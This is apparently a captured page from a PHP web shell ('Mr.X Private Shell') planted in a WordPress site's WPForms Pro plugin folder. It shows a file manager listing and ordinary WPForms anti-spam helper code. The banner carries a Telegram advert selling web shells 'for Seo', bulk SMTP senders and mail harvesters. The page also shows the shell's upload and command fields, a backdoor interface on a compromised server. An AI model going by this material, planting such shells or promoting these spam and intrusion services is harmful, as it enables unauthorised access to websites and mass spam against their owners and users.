__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

namespace WPForms\Pro\AntiSpam;

/**
 * Class Helpers.
 *
 * @since 1.9.1
 */
class Helpers {

	/**
	 * Get the number of days to delete spam entries.
	 *
	 * @since 1.9.1
	 *
	 * @return int|false
	 * @noinspection PhpUndefinedConstantInspection
	 */
	public static function get_delete_spam_entries_days() {

		$last_n_days = defined( 'WPFORMS_DELETE_SPAM_ENTRIES' )
			? WPFORMS_DELETE_SPAM_ENTRIES
			: wpforms_setting( 'delete-spam-entries', 90 );
		$last_n_days = is_bool( $last_n_days ) ? $last_n_days : absint( $last_n_days );

		/**
		 * The $last_n_days variable can be boolean or integer.
		 *
		 * When false, then we do not delete spam entries.
		 * When true, then we delete entries for the last 90 days.
		 * When it is number, we take the number.
		 */
		return $last_n_days === true ? 90 : $last_n_days;
	}

	/**
	 * Get classes for the filtering message.
	 *
	 * @since 1.9.2
	 *
	 * @param array $form_data Form data and settings.
	 *
	 * @return string
	 */
	public static function get_filtering_message_classes( array $form_data ): string {

		return self::is_store_filtering_spam( $form_data ) && empty( $form_data['settings']['disable_entries'] ) && ! empty( $form_data['settings']['store_spam_entries'] ) ? 'wpforms-hidden' : '';
	}

	/**
	 * Determine if the form is set to store spam entries detected by filtering.
	 *
	 * @since 1.9.2
	 *
	 * @param array $form_data Form data and settings.
	 *
	 * @return bool
	 */
	public static function is_store_filtering_spam( array $form_data ): bool {

		return ! empty( $form_data['settings']['anti_spam']['filtering_store_spam'] );
	}
}

Filemanager

Name Type Size Permission Actions
CountryFilter.php File 13.83 KB 0640
Helpers.php File 1.58 KB 0640
KeywordFilter.php File 11.55 KB 0640
SpamEntry.php File 25.56 KB 0640
Filemanager